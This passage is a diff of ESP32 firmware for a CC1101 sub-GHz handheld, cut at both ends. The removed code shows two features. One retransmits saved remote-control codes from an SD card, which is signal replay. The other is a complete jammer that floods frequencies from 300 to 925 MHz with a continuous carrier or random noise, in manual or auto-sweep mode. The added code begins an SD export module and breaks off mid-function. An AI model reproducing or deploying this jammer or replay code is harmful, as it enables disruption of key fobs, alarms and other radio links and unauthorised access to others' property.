BOT_Y, 240, BOT_H, TFT_BLACK); - - FeatureUI::drawButtonRect(BOT_TX_X, BOT_BTN_Y, BOT_BTN_W, BOT_BTN_H, - "Transmit", FeatureUI::ButtonStyle::Primary); - - const bool armed = deleteArmed && (int32_t)(millis() - deleteArmUntilMs) < 0; - const char* delLabel = armed ? "Delete?" : "Delete"; - FeatureUI::drawButtonRect(BOT_DEL_X, BOT_BTN_Y, BOT_BTN_W, BOT_BTN_H, - delLabel, FeatureUI::ButtonStyle::Danger); -} - -static void refreshSdIndex(bool keepSelection = true) { - uint16_t oldIdx = currentProfileIndex; - String err; - if (!listAllProfileFiles(sdFiles, &err)) { - sdFiles.clear(); - sdTotalProfiles = 0; - currentProfileIndex = 0; - selectedValid = false; - sdLastErr = err; - cacheDirty = true; - return; - } - sdLastErr = ""; - sdTotalProfiles = totalProfilesInIndex(sdFiles); - if (sdTotalProfiles == 0) { - currentProfileIndex = 0; - selectedValid = false; - sdLastErr = "No profiles found"; - cacheDirty = true; - return; - } - if (keepSelection) currentProfileIndex = oldIdx; - if (currentProfileIndex >= sdTotalProfiles) currentProfileIndex = (uint16_t)(sdTotalProfiles - 1); - selectedValid = false; - cacheDirty = true; -} - -static bool loadSelectedFromSd(String* errOut = nullptr) { - if (sdTotalProfiles == 0) { selectedValid = false; return false; } - if (!locateGlobalIndex(sdFiles, currentProfileIndex, selectedPath, selectedLocalIdx)) { - selectedValid = false; if (errOut) *errOut="Locate failed"; return false; - } - SubGhzProfile p{}; - if (!readProfileAt(selectedPath, selectedLocalIdx, p, errOut)) { - selectedValid = false; return false; - } - - selectedProfile.frequency = p.frequency; - selectedProfile.value = p.value; - selectedProfile.bitLength = p.bitLength; - selectedProfile.protocol = p.protocol; - memcpy(selectedProfile.name, p.name, MAX_NAME_LENGTH); - selectedProfile.name[MAX_NAME_LENGTH - 1] = '\0'; - selectedValid = true; - return true; -} - -static uint16_t pageStartForIndex(uint16_t idx) { - return (uint16_t)((idx / ITEMS_PER_PAGE) * ITEMS_PER_PAGE); -} - -static void ensurePageCache() { - if (sdTotalProfiles == 0) return; - uint16_t start = pageStartForIndex(currentProfileIndex); - if (!cacheDirty && cachedPageStart == start) return; - cachedPageStart = start; - for (uint8_t i = 0; i < ITEMS_PER_PAGE; i++) { - cachedOk[i] = false; - uint16_t globalIdx = (uint16_t)(start + i); - if (globalIdx >= sdTotalProfiles) continue; - String pth; uint16_t li = 0; - if (!locateGlobalIndex(sdFiles, globalIdx, pth, li)) continue; - String err; - cachedOk[i] = readProfileAt(pth, li, cachedPage[i], &err); - if (!cachedOk[i]) memset(&cachedPage[i], 0, sizeof(SubGhzProfile)); - } - cacheDirty = false; -} - -static void drawHeaderLine() { - - int hy = 30 + yshift; - tft.fillRect(0, hy, 240, 14, TFT_BLACK); - tft.setCursor(10, hy); - tft.setTextColor(TFT_CYAN, TFT_BLACK); - tft.printf("Profile %d/%d", (int)currentProfileIndex + 1, (int)sdTotalProfiles); -} - -static void drawRow(uint16_t pageStart, uint8_t row) { - uint16_t globalIdx = (uint16_t)(pageStart + row); - if (globalIdx >= sdTotalProfiles) return; - - bool isSel = (globalIdx == currentProfileIndex); - int y = LIST_Y + (row * ROW_H); - - uint16_t bg = isSel ? DARK_GRAY : TFT_BLACK; - uint16_t fg = isSel ? TFT_WHITE : TFT_LIGHTGREY; - tft.fillRect(LIST_X, y, LIST_W, ROW_H - 1, bg); - tft.setTextColor(fg, bg); - tft.setCursor(LIST_X + 2, y + 4); - tft.printf("%2d.", (int)globalIdx + 1); - tft.setCursor(LIST_X + 34, y + 4); - - if (cachedOk[row]) { - - char nameBuf[17]; - memcpy(nameBuf, cachedPage[row].name, 16); - nameBuf[16] = '\0'; - String nm = String(nameBuf); - if (nm.length() > 10) nm = nm.substring(0, 10); - tft.print(nm); - - char fbuf[16]; - snprintf(fbuf, sizeof(fbuf), "%.2f", cachedPage[row].frequency / 1000000.0); - int tw = tft.textWidth(fbuf, 1); - tft.setCursor(LIST_X + LIST_W - 4 - tw, y + 4); - tft.print(fbuf); - } else { - tft.print(""); - } -} - -static void drawListPage(uint16_t pageStart) { - ensurePageCache(); - - tft.fillRect(LIST_X, LIST_Y, LIST_W, (ITEMS_PER_PAGE * ROW_H), TFT_BLACK); - for (uint8_t row = 0; row < ITEMS_PER_PAGE; row++) { - if ((uint16_t)(pageStart + row) >= sdTotalProfiles) break; - drawRow(pageStart, row); - } -} - -static void drawDetails() { - - tft.fillRect(0, DETAILS_Y, 240, (DETAILS_H + UI_GAP_Y), TFT_BLACK); - - String err; - if (!selectedValid) loadSelectedFromSd(&err); - tft.setTextColor(TFT_WHITE, TFT_BLACK); - tft.setCursor(10, DETAILS_Y); - if (!selectedValid) { - tft.print("Read failed: "); - tft.print(err); - return; - } - - tft.print("Name: "); tft.print(selectedProfile.name); - tft.setCursor(10, DETAILS_Y + 14); - tft.printf("Freq: %.2f MHz P:%d", selectedProfile.frequency / 1000000.0, selectedProfile.protocol); - tft.setCursor(10, DETAILS_Y + 28); - tft.printf("Val: %lu Bit:%d", selectedProfile.value, selectedProfile.bitLength); - - tft.setCursor(10, DETAILS_Y + 42); - tft.setTextColor(TFT_DARKGREY, TFT_BLACK); - if (selectedPath.endsWith("profiles_current.bin")) { - tft.print("SRC: current"); - } else { - tft.print("SRC: "); - int slash = selectedPath.lastIndexOf('/'); - tft.print(slash >= 0 ? selectedPath.substring(slash + 1) : selectedPath); - } - - if (deleteArmed && (int32_t)(millis() - deleteArmUntilMs) < 0) { - - int hintY = DETAILS_Y + 56; - if (hintY >= BOT_Y) hintY = BOT_Y - 12; - tft.setCursor(10, hintY); - tft.setTextColor(UI_WARN, TFT_BLACK); - tft.print("Press delete again to confirm"); - } - - drawBottomButtons(); -} - -static void updateSelectionUI(uint16_t oldIndex, bool forceListRedraw = false) { - if (sdTotalProfiles == 0) return; - uint16_t oldPage = pageStartForIndex(oldIndex); - uint16_t newPage = pageStartForIndex(currentProfileIndex); - - tft.startWrite(); - drawHeaderLine(); - - if (forceListRedraw || oldPage != newPage) { - drawListPage(newPage); - } else { - - uint8_t oldRow = (uint8_t)(oldIndex - oldPage); - uint8_t newRow = (uint8_t)(currentProfileIndex - newPage); - ensurePageCache(); - - drawRow(newPage, oldRow); - drawRow(newPage, newRow); - } - - drawDetails(); - tft.endWrite(); -} - -void updateDisplay() { - - tft.startWrite(); - tft.fillRect(0, 40, 240, 280, TFT_BLACK); - - if (sdTotalProfiles == 0) { - tft.setCursor(10, 35 + yshift); - tft.setTextColor(TFT_WHITE); - tft.print("No profiles on SD."); - if (sdLastErr.length()) { - tft.setCursor(10, 48 + yshift); - tft.setTextColor(TFT_DARKGREY); - tft.print(sdLastErr); - } - return; - } - - drawHeaderLine(); - drawListPage(pageStartForIndex(currentProfileIndex)); - drawDetails(); - tft.endWrite(); -} - -void transmitProfile(int index) { - (void)index; - String err; - loadSelectedFromSd(&err); - if (!selectedValid) return; - Profile profileToSend = selectedProfile; - - ELECHOUSE_cc1101.setSidle(); - ELECHOUSE_cc1101.setMHZ(profileToSend.frequency / 1000000.0); - - mySwitch.disableReceive(); - delay(100); - mySwitch.enableTransmit(SUBGHZ_TX_PIN); - ELECHOUSE_cc1101.SetTx(); - - tft.fillRect(0, 40, 240, 280, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.setTextColor(TFT_WHITE); - tft.print("Sending "); - tft.print(profileToSend.name); - tft.print("..."); - tft.setCursor(10, 50 + yshift); - tft.print("Value: "); - tft.print(profileToSend.value); - - mySwitch.setProtocol(profileToSend.protocol); - mySwitch.send(profileToSend.value, profileToSend.bitLength); - - delay(500); - tft.fillRect(0, 40, 240, 280, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.print("Done!"); - - ELECHOUSE_cc1101.SetRx(); - mySwitch.disableTransmit(); - delay(100); - mySwitch.enableReceive(SUBGHZ_RX_PIN); - - delay(500); - updateDisplay(); -} - -void loadProfileCount() { - - refreshSdIndex(true); -} - -void printProfiles() { - Serial.println("Saved Profiles (SD index):"); - String err; - refreshSdIndex(false); - Serial.printf("Total profiles: %d\n", (int)sdTotalProfiles); - if (!sdTotalProfiles) return; - - uint16_t n = sdTotalProfiles > 10 ? 10 : sdTotalProfiles; - for (uint16_t i = 0; i < n; i++) { - String pth; uint16_t li = 0; - if (!locateGlobalIndex(sdFiles, i, pth, li)) continue; - SubGhzProfile p{}; - if (!readProfileAt(pth, li, p, &err)) continue; - Serial.printf(" [%d] %s @ %.2f MHz (val=%lu)\n", (int)i, p.name, p.frequency/1000000.0, (unsigned long)p.value); - } -} - -void deleteProfile(int index) { - (void)index; - if (sdTotalProfiles == 0) return; - String err; - loadSelectedFromSd(&err); - if (!selectedValid) return; - - String path = selectedPath; - uint16_t local = selectedLocalIdx; - - uint32_t now = millis(); - if (!deleteArmed || (int32_t)(now - deleteArmUntilMs) >= 0) { - deleteArmed = true; - deleteArmUntilMs = now + 3000; - updateDisplay(); - return; - } - deleteArmed = false; - - if (!deleteProfileFromFile(path, local, &err)) { - tft.fillRect(0, 40, 240, 280, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.setTextColor(UI_WARN); - tft.print("Delete FAILED"); - tft.setCursor(10, 45 + yshift); - tft.setTextColor(TFT_WHITE); - tft.print(err); - delay(1200); - updateDisplay(); - return; - } - - refreshSdIndex(false); - if (sdTotalProfiles == 0) currentProfileIndex = 0; - else if (currentProfileIndex >= sdTotalProfiles) currentProfileIndex = (uint16_t)(sdTotalProfiles - 1); - selectedValid = false; - cacheDirty = true; - updateDisplay(); -} - -void runUI() { - #define STATUS_BAR_Y_OFFSET 20 - #define STATUS_BAR_HEIGHT 16 - #define ICON_SIZE 16 - #define ICON_NUM 6 - - static int iconX[ICON_NUM] = {90, 130, 170, 210, 50, 10}; - static int iconY = STATUS_BAR_Y_OFFSET; - - static const unsigned char* icons[ICON_NUM] = { - bitmap_icon_sort_down_minus, - bitmap_icon_sort_up_plus, - bitmap_icon_antenna, - bitmap_icon_recycle, - bitmap_icon_sdcard, - bitmap_icon_go_back - }; - - if (!uiDrawn) { - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); - - for (int i = 0; i < ICON_NUM; i++) { - if (icons[i] != NULL) { - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); - } - } - tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); - uiDrawn = true; - } - - static unsigned long lastAnimationTime = 0; - static int animationState = 0; - static int activeIcon = -1; - - if (animationState > 0 && millis() - lastAnimationTime >= 150) { - if (animationState == 1) { - tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); - animationState = 2; - - switch (activeIcon) { - case 0: - if (sdTotalProfiles > 0) { - uint16_t oldIdx = currentProfileIndex; - currentProfileIndex = (uint16_t)((currentProfileIndex + 1) % sdTotalProfiles); - selectedValid = false; - cacheDirty = true; - deleteArmed = false; - - updateSelectionUI(oldIdx, false); - } - break; - case 1: - if (sdTotalProfiles > 0) { - uint16_t oldIdx = currentProfileIndex; - currentProfileIndex = (uint16_t)((currentProfileIndex + sdTotalProfiles - 1) % sdTotalProfiles); - selectedValid = false; - cacheDirty = true; - deleteArmed = false; - updateSelectionUI(oldIdx, false); - } - break; - case 2: - if (sdTotalProfiles > 0) { - transmitProfile(currentProfileIndex); - } - break; - case 3: - if (sdTotalProfiles > 0) { - deleteProfile(currentProfileIndex); - } - break; - case 4: { - refreshSdIndex(true); - selectedValid = false; - cacheDirty = true; - deleteArmed = false; - updateDisplay(); - break; - } - } - } else if (animationState == 2) { - animationState = 0; - activeIcon = -1; - } - lastAnimationTime = millis(); - } - - static unsigned long lastTouchCheck = 0; - const unsigned long touchCheckInterval = 50; - - if (millis() - lastTouchCheck >= touchCheckInterval) { - int x, y; - if (feature_active && readTouchXY(x, y)) { - - if (y >= BOT_Y && y < (BOT_Y + BOT_H)) { - if (x >= BOT_TX_X && x < (BOT_TX_X + BOT_BTN_W)) { - if (sdTotalProfiles > 0) transmitProfile(currentProfileIndex); - } else if (x >= BOT_DEL_X && x < (BOT_DEL_X + BOT_BTN_W)) { - if (sdTotalProfiles > 0) deleteProfile(currentProfileIndex); - } - lastTouchCheck = millis(); - return; - } - - if (y >= LIST_Y && y < (LIST_Y + (ITEMS_PER_PAGE * ROW_H)) && x >= LIST_X && x < (LIST_X + LIST_W)) { - uint8_t row = (uint8_t)((y - LIST_Y) / ROW_H); - uint16_t oldIdx = currentProfileIndex; - uint16_t start = pageStartForIndex(currentProfileIndex); - uint16_t idx = (uint16_t)(start + row); - if (idx < sdTotalProfiles) { - currentProfileIndex = idx; - selectedValid = false; - cacheDirty = true; - deleteArmed = false; - updateSelectionUI(oldIdx, false); - } - } - if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { - for (int i = 0; i < ICON_NUM; i++) { - if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { - if (icons[i] != NULL && animationState == 0) { - - if (i == 5) { - feature_exit_requested = true; - } else { - - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); - animationState = 1; - activeIcon = i; - lastAnimationTime = millis(); - } - } - break; - } - } - } - } - lastTouchCheck = millis(); - } -} - -void saveSetup() { - Serial.begin(115200); - - ELECHOUSE_cc1101.setSpiPin(CC1101_SCK, CC1101_MISO, CC1101_MOSI, CC1101_CS); - - EEPROM.begin(EEPROM_SIZE); - loadProfileCount(); - printProfiles(); - - pcf.pinMode(BTN_UP, INPUT_PULLUP); - pcf.pinMode(BTN_DOWN, INPUT_PULLUP); - pcf.pinMode(BTN_LEFT, INPUT_PULLUP); - pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); - pcf.pinMode(BTN_SELECT, INPUT_PULLUP); - - tft.fillScreen(TFT_BLACK); - tft.setTextColor(TFT_WHITE); - - setupTouchscreen(); - - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); - uiDrawn = false; - - ELECHOUSE_cc1101.Init(); - ELECHOUSE_cc1101.setGDO(CC1101_GDO0, CC1101_GDO2); - ELECHOUSE_cc1101.SetRx(); - - mySwitch.enableReceive(SUBGHZ_RX_PIN); - mySwitch.enableTransmit(SUBGHZ_TX_PIN); - mySwitch.setRepeatTransmit(8); - - refreshSdIndex(false); - cacheDirty = true; - deleteArmed = false; - updateDisplay(); -} - -void saveLoop() { - - if (feature_active && isButtonPressed(BTN_SELECT)) { - feature_exit_requested = true; - return; - } - - runUI(); - - static unsigned long lastDebounceTime = 0; - const unsigned long debounceDelay = 200; - - bool prevPressed = isButtonPressed(BTN_UP); - bool nextPressed = isButtonPressed(BTN_DOWN); - bool txPressed = isButtonPressed(BTN_RIGHT); - bool refreshPressed = isButtonPressed(BTN_LEFT); - - if (sdTotalProfiles > 0) { - - if (nextPressed && millis() - lastDebounceTime > debounceDelay) { - uint16_t oldIdx = currentProfileIndex; - currentProfileIndex = (uint16_t)((currentProfileIndex + 1) % sdTotalProfiles); - selectedValid = false; - updateSelectionUI(oldIdx, false); - lastDebounceTime = millis(); - } - - if (prevPressed && millis() - lastDebounceTime > debounceDelay) { - uint16_t oldIdx = currentProfileIndex; - currentProfileIndex = (uint16_t)((currentProfileIndex + sdTotalProfiles - 1) % sdTotalProfiles); - selectedValid = false; - updateSelectionUI(oldIdx, false); - lastDebounceTime = millis(); - } - - if (txPressed && millis() - lastDebounceTime > debounceDelay) { - transmitProfile(currentProfileIndex); - lastDebounceTime = millis(); - } - - if (refreshPressed && millis() - lastDebounceTime > debounceDelay) { - refreshSdIndex(true); - selectedValid = false; - cacheDirty = true; - deleteArmed = false; - updateDisplay(); - lastDebounceTime = millis(); - } - } else { - - tft.setCursor(10, 50 + yshift); - tft.setTextColor(TFT_WHITE); - tft.print("No profiles on SD."); - } -} - -} - -namespace subjammer { - -static bool uiDrawn = false; - -static unsigned long lastDebounceTime = 0; -const unsigned long debounceDelay = 200; - -#define SCREEN_WIDTH 240 -#define SCREEN_HEIGHT 64 - -static constexpr uint8_t JAM_BTN_LEFT = 4; -static constexpr uint8_t JAM_BTN_RIGHT = 5; -static constexpr uint8_t JAM_BTN_DOWN = 3; -static constexpr uint8_t JAM_BTN_UP = 6; - -bool jammingRunning = false; -bool continuousMode = true; -bool autoMode = false; -unsigned long lastSweepTime = 0; -const unsigned long sweepInterval = 1000; - -static const uint32_t subghz_frequency_list[] = { - 300000000, 303875000, 304250000, 310000000, 315000000, 318000000, - 390000000, 418000000, 433075000, 433420000, 433920000, 434420000, - 434775000, 438900000, 868350000, 915000000, 925000000 -}; -const int numFrequencies = sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]); -int currentFrequencyIndex = 4; -float targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; - -void updateDisplay() { - - int yshift = 20; - - tft.fillRect(0, 40, 240, 80, TFT_BLACK); - tft.drawLine(0, 79, 235, 79, TFT_WHITE); - - tft.setTextSize(1); - tft.setCursor(5, 22 + yshift); - tft.setTextColor(TFT_CYAN); - tft.print("Freq:"); - tft.setCursor(40, 22 + yshift); - if (autoMode) { - tft.setTextColor(ORANGE); - tft.print("Auto: "); - tft.setTextColor(TFT_WHITE); - tft.print(targetFrequency, 1); - - int progress = ::map(currentFrequencyIndex, 0, numFrequencies - 1, 0, 240); - tft.fillRect(0, 60 + yshift, 240, 4, TFT_BLACK); - tft.fillRect(0, 60 + yshift, progress, 4, ORANGE); - - if (jammingRunning && millis() % 1000 < 500) { - tft.fillCircle(220, 22 + yshift, 2, TFT_GREEN); - } - } else { - tft.setTextColor(TFT_WHITE); - tft.print(targetFrequency, 2); - tft.print(" MHz"); - } - - tft.setCursor(130, 22 + yshift); - tft.setTextColor(TFT_CYAN); - tft.print("Mode:"); - tft.setCursor(165, 22 + yshift); - tft.setTextColor(continuousMode ? TFT_GREEN : TFT_YELLOW); - tft.print(continuousMode ? "Cont" : "Noise"); - - tft.setCursor(5, 42 + yshift); - tft.setTextColor(TFT_CYAN); - tft.print("Status:"); - tft.setCursor(50, 42 + yshift); - if (jammingRunning) { - tft.setTextColor(UI_WARN); - tft.print("Jamming"); - - } else { - tft.setTextColor(TFT_GREEN); - tft.print("Idle "); - } -} - -void runUI() { - #define SCREEN_WIDTH 240 - #define SCREENHEIGHT 320 - #define STATUS_BAR_Y_OFFSET 20 - #define STATUS_BAR_HEIGHT 16 - #define ICON_SIZE 16 - #define ICON_NUM 6 - - static int iconX[ICON_NUM] = {50, 90, 130, 170, 210, 10}; - static int iconY = STATUS_BAR_Y_OFFSET; - - static const unsigned char* icons[ICON_NUM] = { - bitmap_icon_power, - bitmap_icon_antenna, - bitmap_icon_random, - bitmap_icon_sort_down_minus, - bitmap_icon_sort_up_plus, - bitmap_icon_go_back - }; - - if (!uiDrawn) { - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); - - for (int i = 0; i < ICON_NUM; i++) { - if (icons[i] != NULL) { - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); - } - } - tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); - uiDrawn = true; - } - - static unsigned long lastAnimationTime = 0; - static int animationState = 0; - static int activeIcon = -1; - - if (animationState > 0 && millis() - lastAnimationTime >= 150) { - if (animationState == 1) { - tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); - animationState = 2; - - switch (activeIcon) { - case 0: - jammingRunning = !jammingRunning; - if (jammingRunning) { - Serial.println("Jamming started"); - ELECHOUSE_cc1101.setMHZ(targetFrequency); - ELECHOUSE_cc1101.SetTx(); - } else { - Serial.println("Jamming stopped"); - ELECHOUSE_cc1101.setSidle(); - digitalWrite(TX_PIN, LOW); - } - updateDisplay(); - lastDebounceTime = millis(); - break; - case 1: - continuousMode = !continuousMode; - Serial.print("Jamming mode: "); - Serial.println(continuousMode ? "Continuous Carrier" : "Noise"); - updateDisplay(); - lastDebounceTime = millis(); - break; - case 2: - autoMode = !autoMode; - Serial.print("Frequency mode: "); - Serial.println(autoMode ? "Automatic" : "Manual"); - if (autoMode) { - currentFrequencyIndex = 0; - targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; - ELECHOUSE_cc1101.setMHZ(targetFrequency); - } - updateDisplay(); - lastDebounceTime = millis(); - break; - case 3: - currentFrequencyIndex = (currentFrequencyIndex - 1 + numFrequencies) % numFrequencies; - targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; - ELECHOUSE_cc1101.setMHZ(targetFrequency); - Serial.print("Switched to: "); - Serial.print(targetFrequency); - Serial.println(" MHz"); - updateDisplay(); - lastDebounceTime = millis(); - break; - case 4: - currentFrequencyIndex = (currentFrequencyIndex + 1) % numFrequencies; - targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; - ELECHOUSE_cc1101.setMHZ(targetFrequency); - Serial.print("Switched to: "); - Serial.print(targetFrequency); - Serial.println(" MHz"); - updateDisplay(); - lastDebounceTime = millis(); - break; - case 5: - feature_exit_requested = true; - break; - } - } else if (animationState == 2) { - animationState = 0; - activeIcon = -1; - } - lastAnimationTime = millis(); - } - - static unsigned long lastTouchCheck = 0; - const unsigned long touchCheckInterval = 50; - - if (millis() - lastTouchCheck >= touchCheckInterval) { - int x, y; - if (feature_active && readTouchXY(x, y)) { - if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { - for (int i = 0; i < ICON_NUM; i++) { - if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { - if (icons[i] != NULL && animationState == 0) { - - if (i == 5) { - feature_exit_requested = true; - } else { - - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); - animationState = 1; - activeIcon = i; - lastAnimationTime = millis(); - } - } - break; - } - } - } - } - lastTouchCheck = millis(); - } -} - -void subjammerSetup() { - Serial.begin(115200); - - ELECHOUSE_cc1101.setSpiPin(CC1101_SCK, CC1101_MISO, CC1101_MOSI, CC1101_CS); - - ELECHOUSE_cc1101.Init(); - ELECHOUSE_cc1101.setModulation(0); - ELECHOUSE_cc1101.setRxBW(500.0); - ELECHOUSE_cc1101.setPA(12); - ELECHOUSE_cc1101.setMHZ(targetFrequency); - ELECHOUSE_cc1101.SetTx(); - - randomSeed(analogRead(0)); - - pcf.pinMode(BTN_LEFT, INPUT_PULLUP); - pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); - pcf.pinMode(BTN_DOWN, INPUT_PULLUP); - pcf.pinMode(BTN_UP, INPUT_PULLUP); - delay(100); - - tft.fillScreen(TFT_BLACK); - - setupTouchscreen(); - - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); - updateDisplay(); - uiDrawn = false; -} - -void subjammerLoop() { - - if (feature_active && isButtonPressed(BTN_SELECT)) { - feature_exit_requested = true; - return; - } - - runUI(); - - int btnLeftState = pcf.digitalRead(JAM_BTN_LEFT); - int btnRightState = pcf.digitalRead(JAM_BTN_RIGHT); - int btnUpState = pcf.digitalRead(JAM_BTN_UP); - int btnDownState = pcf.digitalRead(JAM_BTN_DOWN); - - if (btnUpState == LOW && millis() - lastDebounceTime > debounceDelay) { - jammingRunning = !jammingRunning; - if (jammingRunning) { - Serial.println("Jamming started"); - ELECHOUSE_cc1101.setMHZ(targetFrequency); - ELECHOUSE_cc1101.SetTx(); - } else { - Serial.println("Jamming stopped"); - ELECHOUSE_cc1101.setSidle(); - digitalWrite(TX_PIN, LOW); - } - updateDisplay(); - lastDebounceTime = millis(); - } - - if (btnRightState == LOW && !autoMode && millis() - lastDebounceTime > debounceDelay) { - currentFrequencyIndex = (currentFrequencyIndex + 1) % numFrequencies; - targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; - ELECHOUSE_cc1101.setMHZ(targetFrequency); - Serial.print("Switched to: "); - Serial.print(targetFrequency); - Serial.println(" MHz"); - updateDisplay(); - lastDebounceTime = millis(); - } - - if (btnLeftState == LOW && !autoMode && millis() - lastDebounceTime > debounceDelay) { - continuousMode = !continuousMode; - Serial.print("Jamming mode: "); - Serial.println(continuousMode ? "Continuous Carrier" : "Noise"); - updateDisplay(); - lastDebounceTime = millis(); - } - - if (btnDownState == LOW && millis() - lastDebounceTime > debounceDelay) { - autoMode = !autoMode; - Serial.print("Frequency mode: "); - Serial.println(autoMode ? "Automatic" : "Manual"); - if (autoMode) { - currentFrequencyIndex = 0; - targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; - ELECHOUSE_cc1101.setMHZ(targetFrequency); - } - updateDisplay(); - lastDebounceTime = millis(); - } - - if (jammingRunning) { - if (autoMode) { - if (millis() - lastSweepTime >= sweepInterval) { - currentFrequencyIndex = (currentFrequencyIndex + 1) % numFrequencies; - targetFrequency = subghz_frequency_list[currentFrequencyIndex] / 1000000.0; - ELECHOUSE_cc1101.setMHZ(targetFrequency); - Serial.print("Sweeping: "); - Serial.print(targetFrequency); - Serial.println(" MHz"); - updateDisplay(); - lastSweepTime = millis(); - } - } - - ELECHOUSE_cc1101.SetTx(); - - if (continuousMode) { - ELECHOUSE_cc1101.SpiWriteReg(CC1101_TXFIFO, 0xFF); - ELECHOUSE_cc1101.SpiStrobe(CC1101_STX); - digitalWrite(TX_PIN, HIGH); - } else { - for (int i = 0; i < 10; i++) { - uint32_t noise = random(16777216); - ELECHOUSE_cc1101.SpiWriteReg(CC1101_TXFIFO, noise >> 16); - ELECHOUSE_cc1101.SpiWriteReg(CC1101_TXFIFO, (noise >> 8) & 0xFF); - ELECHOUSE_cc1101.SpiWriteReg(CC1101_TXFIFO, noise & 0xFF); - ELECHOUSE_cc1101.SpiStrobe(CC1101_STX); - delayMicroseconds(50); - } - } - } - } -} +#include +#include +#include "KeyboardUI.h" +#include "Touchscreen.h" +#include "config.h" +#include "icon.h" +#include "shared.h" + + +namespace { + static constexpr const char* SUBGHZ_DIR = "/subghz"; + static constexpr const char* SUBGHZ_EXPORT_PREFIX = "/subghz/profiles_"; + static constexpr const char* SUBGHZ_CURRENT_PATH = "/subghz/profiles_current.bin"; + static constexpr uint32_t SUBGHZ_EXPORT_MAGIC = 0x315A4753; + + struct __attribute__((packed)) SubGhzProfile { + uint32_t frequency; + uint32_t value; + uint16_t bitLength; + uint16_t protocol; + char name[16]; + }; + + static constexpr uint16_t MAX_NAME_LENGTH = 16; + static constexpr uint16_t PROFILE_SIZE = sizeof(SubGhzProfile); + + static constexpr uint16_t ADDR_VALUE = 1280; + static constexpr uint16_t ADDR_BITLEN = 1284; + static constexpr uint16_t ADDR_PROTO = 1286; + static constexpr uint16_t ADDR_FREQ = 1288; + static constexpr uint16_t ADDR_PROFILE_COUNT = 1296; + static constexpr uint16_t ADDR_PROFILE_START = 1300; + static constexpr uint16_t MAX_PROFILES = 5; + + struct __attribute__((packed)) SubGhzExportHeader { + uint32_t magic; + uint16_t version; + uint16_t count; + uint16_t profileSize; + uint16_t reserved; + }; + + static bool subghz_sd_mounted = false; + static bool subghzMountSD() { + if (subghz_sd_mounted) { + if (SD.exists("/")) return true; + subghz_sd_mounted = false; + } + + #ifdef SD_CD + pinMode(SD_CD, INPUT_PULLUP); + if (digitalRead(SD_CD)) return false; + #endif + + #ifdef SD_SCLK + #ifdef SD_MISO + #ifdef SD_MOSI + #ifdef SD_CS + SPI.begin(SD_SCLK, SD_MISO, SD_MOSI, SD_CS); + #endif + #endif + #endif + #endif + + #ifdef SD_CS + if (SD.begin(SD_CS)) { subghz_sd_mounted = true; return true; } + #endif + + #ifdef SD_CS_PIN + #ifdef CC1101_CS + if (SD_CS_PIN != CC1101_CS) { + if (SD.begin(SD_CS_PIN)) { subghz_sd_mounted = true; return true; } + } + #else + if (SD.begin(SD_CS_PIN)) { subghz_sd_mounted = true; return true; } + #endif + #endif + + return false; + } + + static bool subghzEnsureDir(const char* dirPath) { + if (!subghzMountSD()) return false; + if (SD.exists(dirPath)) return true; + if (SD.mkdir(dirPath)) return true; + if (dirPath && dirPath[0] == '/') return SD.mkdir(dirPath + 1); + return false; + } + + static void clearProfilesInEeprom() { + + uint16_t zero = 0; + EEPROM.put(ADDR_PROFILE_COUNT, zero); + SubGhzProfile empty{}; + for (uint16_t i = 0; i < MAX_PROFILES; i++) { + EEPROM.put(ADDR_PROFILE_START + (i * PROFILE_SIZE), empty); + } + EEPROM.commit(); + } + + static bool makeNextExportPath(String& outPath) { + + for (uint16_t i = 0; i < 10000; i++) { + char buf[48]; + snprintf(buf, sizeof(buf), "%s%04u.bin", SUBGHZ_EXPORT_PREFIX, (unsigned)i); + if (!SD.exists(buf)) { outPath = String(buf); return true; } + } + return false; + } + + static bool findLatestExportPath(String& outPath) { + + for (int i = 9999; i >= 0; i--) { + char buf[48]; + snprintf(buf, sizeof(buf), "%s%04u.bin", SUBGHZ_EXPORT_PREFIX, (unsigned)i); + if (SD.exists(buf)) { outPath = String(buf); return true; } + } + return false; + } + + static bool exportProfilesToSD(String& 